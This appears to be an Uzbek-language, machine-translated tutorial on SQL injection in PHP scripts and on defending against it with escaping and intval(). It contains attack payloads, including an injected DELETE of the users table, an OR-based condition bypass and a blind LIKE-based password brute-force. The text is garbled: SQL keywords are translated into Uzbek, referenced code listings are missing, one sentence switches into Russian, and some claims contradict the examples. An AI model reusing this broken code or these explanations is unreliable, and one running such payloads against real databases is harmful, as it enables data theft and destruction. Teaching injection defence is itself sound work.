Maqolaning keyingi qismida biz qisman UNION texnikasini o'rganamiz, uning yordami bilan biz serverdagi barcha ma'lumotlarni olamiz: ma'lumotlar bazalari nomlari, ularning jadvallari va ushbu jadvallardagi maydonlar nomlari, shuningdek ularning mazmuni . Ikkinchi qism paydo bo'lishini kutayotganingizda, mashq qiling, SQL in'ektsiyalari va UNION texnikasi haqida o'qing; quyidagi maqolalar ham o'qish uchun tavsiya etiladi:

P.S. ha, men LIMIT haqida unutdim. Keyingi safar men SQL in'ektsiyalarida LIMIT ning roli haqida gapiraman.

SQL in'ektsiyalari - zararli kodni ma'lumotlar bazasi so'rovlariga joylashtirish - hujumning eng xavfli turi. SQL in'ektsiyalaridan foydalangan holda, tajovuzkor nafaqat ma'lumotlar bazasidan shaxsiy ma'lumotlarni olishi, balki ma'lum sharoitlarda u erda o'zgartirishlar kiritishi mumkin.

SQL in'ektsiya zaifligi foydalanuvchi ma'lumotlari ma'lumotlar bazasi so'roviga to'g'ri ishlov berilmagan holda kiritilganligi sababli yuzaga keladi: skript zaif bo'lmasligini ta'minlash uchun barcha foydalanuvchi ma'lumotlari barcha ma'lumotlar bazasi so'rovlarida qochib ketgan shaklda tugashini ta'minlash kerak. Umumjahonlik talabi tamal toshi hisoblanadi: bitta skriptda sodir etilgan qoidabuzarlik butun tizimni zaif holga keltiradi.

Zaiflikka misol

Faraz qilaylik, shahar identifikatorini GET parametri sifatida qabul qilib, ma'lum bir shahardan foydalanuvchilar ro'yxatini ko'rsatadigan skript mavjud. Skriptga HTTP orqali /users.php?cityid=20 manzilida kirish mumkin

Yuqoridagi skriptda ishlab chiquvchi SQL so'roviga GET parametrini kiritadi, bu GET parametri har doim raqamni o'z ichiga oladi. Tajovuzkor satrni parametr sifatida uzatishi va shu bilan so'rovni buzishi mumkin. Masalan, u skriptga /users.php?cityid=20; FOYDALANUVCHILARDAN * OʻCHIRISH
SQL so'rovi quyidagicha ko'rinadi:

So'rov bajariladi va skript nafaqat ko'rsatilgan shahardan foydalanuvchilarni, balki ularning haqiqiy ismi o'rniga paroli ko'rsatiladigan barcha foydalanuvchilar ro'yxatini qaytaradi.

O'zingizni qanday himoya qilish kerak?

Keling, foydalanuvchi ma'lumotlarini bitta tirnoq ichiga kiritamiz. Bu yordam beradimi?

Yuqoridagi misoldan ko'rinib turibdiki, bitta qo'shtirnoq qo'shishning o'zi etarli emas. Shuningdek, satrdagi barcha tirnoqlardan qochishingiz kerak. Buning uchun PHP mysql_real_escape_string() funksiyasini taqdim etadi, bu funksiya har bir tirnoq, teskari iqtibos va boshqa maxsus belgilar oldiga teskari chiziq qo‘shadi. Keling, kodni ko'rib chiqaylik:

Shunday qilib, SQL in'ektsiyasidan himoya qilish uchun matnni o'z ichiga olishi mumkin bo'lgan barcha tashqi parametrlar yordamida qayta ishlanishi kerak mysql_real_escape_string() va bitta qo'shtirnoq ichiga olinadi.

Agar parametr raqamli qiymatga ega bo'lishi kerakligini bilsangiz, u funktsiya yordamida aniq raqamli shaklga aylantirilishi mumkin. intval() yoki floatval(). Ushbu misolda biz foydalanishimiz mumkin:

$sql = "Foydalanuvchi nomi, haqiqiy ismni tanlang
Foydalanuvchilardan
WHERE cityid=""
.intval ( $_GET ["shahar identifikatori" ] ) .""" ;

mysql_real_escape_string() va mysql_escape_string() o'rtasidagi farqlar

mysql_real_escape_string() MySQL ma'lumotlar bazasiga xavfsiz so'rovlarni yaratish uchun keng qo'llaniladigan mysql_escape_string() funksiyasining takomillashtirilgan versiyasidir. Bu ikki funksiya oʻrtasidagi farq shundaki, mysql_real_escape_string() koʻp baytli kodlashlar bilan toʻgʻri ishlaydi.

Aytaylik, qayta ishlanayotgan ma'lumotlarda belgi bor (aytaylik, UTF-8 da), uning kodi ikki baytdan iborat - o'n oltilik 27 va 2B (mos ravishda o'nlik 39 va 43). mysql_escape_string() unga uzatilgan har bir baytni alohida belgi sifatida (aniqrog‘i, alohida belgining kodi sifatida) ko‘rib chiqadi va 27 va 2B baytlar ketma-ketligi ikki xil belgi ekanligiga qaror qiladi: bitta qo‘shtirnoq (") va a. plyus (+).Funktsiya qo'shtirnoqni maxsus belgi sifatida qabul qilganligi sababli, bayt oldiga 27 kodli chiziq (\) qo'shiladi, bu aslida qandaydir zararsiz belgilarning bir qismidir.Natijada ma'lumotlar quyidagi manzilga yuboriladi. ma'lumotlar bazasi buzilgan shaklda.

Shuni ta'kidlash kerakki, mysql_real_escape_string() barcha holatlarda to'g'ri ishlaydi va mysql_escape_string() o'rnini to'liq o'zgartirishi mumkin.

mysql_real_escape_string() PHP da 4.3.0 versiyasidan beri mavjud.

Qo'shimcha misollar

Biz eng oddiy misolni ko'rib chiqdik, lekin amalda zaif so'rov murakkabroq bo'lishi va uning natijalarini foydalanuvchiga ko'rsatmasligi mumkin. Keyinchalik, biz to'liqligini da'vo qilmasdan, ba'zi murakkab holatlarda SQL in'ektsiyasi misollarini ko'rib chiqamiz.

Murakkab so'rovlarda in'ektsiya

Eng oddiy misolda, kodni SQL so'rovining oxiriga joylashtirish mumkin edi. Amalda, SQL so'rovi oxirida qo'shimcha shartlar, tartiblash operatorlari, guruhlar va boshqa SQL konstruktsiyalari bo'lishi mumkin. Har bir aniq holatda, tajovuzkor zararli qismni shunday joylashtirishga harakat qiladiki, so'rov umuman sintaktik jihatdan to'g'ri bo'lib qoladi, lekin boshqa funktsiyani bajaradi. Bu erda biz qo'shimcha shart bilan zaif so'rovning eng oddiy misolini ko'rib chiqamiz.

Natijada, yosh sharti<35 namunaga ta'sir qilmaydi, chunki OR operatori AND operatoriga qaraganda pastroq ustunlikka ega va yuqoridagi so‘rovdagi WHERE so‘rovi boshqacha yozilishi mumkin. QAYER (cityid="20" VA 1 ) YOKI ("1" VA yoshi<"35" ) (esda tutingki, WHERE 1 ifodasi har doim to'g'ri bo'ladi). Natijada cityid="20" bo'lgan o'sha qatorlar ham, yoshi bo'lganlar ham shartga mos keladi<35, причем наличие последних не обязательно.

Murakkab so'rovlar uchun muvaffaqiyatli SQL in'ektsiyalari biroz ijodkorlikni talab qiladi, ammo tajovuzkorlar biroz bo'lishini kutish mumkin.

So'rov natijalari foydalanuvchiga ko'rsatilmaydi

Natijalari foydalanuvchiga ko'rsatilmagan so'rov zaif bo'lishi mumkin. Bu, masalan, yordamchi so'rov bo'lishi mumkin:

$sql = "Tanlash soni(*)
Foydalanuvchilardan
WHERE userid=""
.$_GET [ "foydalanuvchi nomi" ] .""" ;

Yuqoridagi so'rov faqat ma'lum foydalanuvchi identifikatoriga ega foydalanuvchi mavjudligini tekshiradi: agar u nolga teng bo'lmagan qiymatni qaytarsa, tegishli foydalanuvchi identifikatoriga ega foydalanuvchi profili ko'rsatiladi, lekin agar 0 qaytarilsa (ya'ni, foydalanuvchi identifikatorini qondiradigan foydalanuvchilar yo'q) so'rov mezonlari), "foydalanuvchi topilmadi" xabari ko'rsatiladi.

Bunday holda, parol (yoki boshqa ma'lumotlar) qo'pol kuch bilan aniqlanadi. Buzg'unchi qatorni userid parametri sifatida uzatadi 2" VA "a%" kabi parol. Yakuniy so'rov:

QAYERDA userid= foydalanuvchilar sonidan (*) TANLASH"2" VA "a%" kabi parol

Agar parol "a" harfi bilan boshlanmasa, tajovuzkor "foydalanuvchi topilmadi" yoki standart foydalanuvchi profil sahifasini oladi, aks holda. Parolning birinchi harfi qo'pol kuch bilan aniqlanadi, keyin ikkinchisi va hokazo.

xulosalar

  • Tashqi ma'lumotlardan foydalanadigan barcha so'rovlar SQL in'ektsiyasidan himoyalangan bo'lishi kerak. Tashqi ma'lumotlar nafaqat GET parametrlari sifatida, balki COOKIE-dan, uchinchi tomon saytlaridan yoki foydalanuvchi ma'lumot kiritish imkoniyatiga ega bo'lgan ma'lumotlar bazasidan olingan POST usuli yordamida ham uzatilishi mumkin.
  • Funktsiyalar yordamida barcha raqamli parametrlar aniq raqamli shaklga aylantirilishi kerak intval() Va floatval()
  • Barcha qator parametrlari bilan qochish kerak mysql_real_escape_string() va qo'shtirnoq ichiga qo'ying.
  • Agar SQL in'ektsiyasini yaratish qiyin bo'lsa, tajovuzkor buni qanday qilishni tushunmaydi deb o'ylamasligingiz kerak. Bu, ayniqsa, manba kodi ommaviy bo'lgan dvigatellarga tegishli.

Xavfsiz ilovalar yaratishda omad tilaymiz!